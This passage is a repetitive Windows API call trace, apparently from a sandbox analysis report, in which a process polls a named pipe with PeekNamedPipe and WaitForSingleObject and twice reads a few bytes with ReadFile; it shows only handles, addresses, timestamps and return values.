[0104.688] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.688] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.718] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.718] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.753] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.753] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.781] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.781] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.813] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.813] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.184] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.185] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.203] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.203] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.233] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.233] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.274] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.274] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.321] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.321] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.348] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.348] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.406] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.406] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.437] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.437] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.467] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.467] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.500] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.500] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.753] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.753] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.780] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.780] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.810] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.810] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.871] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.871] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0105.985] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.986] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.014] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x33, lpBytesLeftThisMessage=0x0) returned 1 [0106.014] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x33, lpOverlapped=0x0) returned 1 [0106.015] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.044] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.044] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.076] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.077] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.107] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0106.107] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x3f, lpOverlapped=0x0) returned 1 [0106.107] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.689] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.689] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.715] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.715] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.747] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.747] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.777] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.777] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.809] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.810] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.840] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.840] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.872] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.872] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.902] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.902] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.934] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.935] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.965] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.965] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0106.997] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.997] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.027] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.027] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.249] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.249] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.355] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.355] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.387] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.387] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.417] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.417] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.450] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.450] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.480] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.480] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.511] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.511] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.542] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.542] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.575] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.575] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0107.616] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.616] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.065] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.065] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.088] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.088] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.120] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.120] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.151] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.151] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.183] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.183] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.213] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.213] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.245] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.245] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.275] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.276] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.308] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.308] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.337] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.338] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.369] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.370] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.400] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.400] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.432] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.432] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.462] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.462] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.499] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.499] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.525] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.525] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.557] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.557] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.587] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.587] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.619] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.619] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.649] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.650] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.682] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.682] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.712] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) 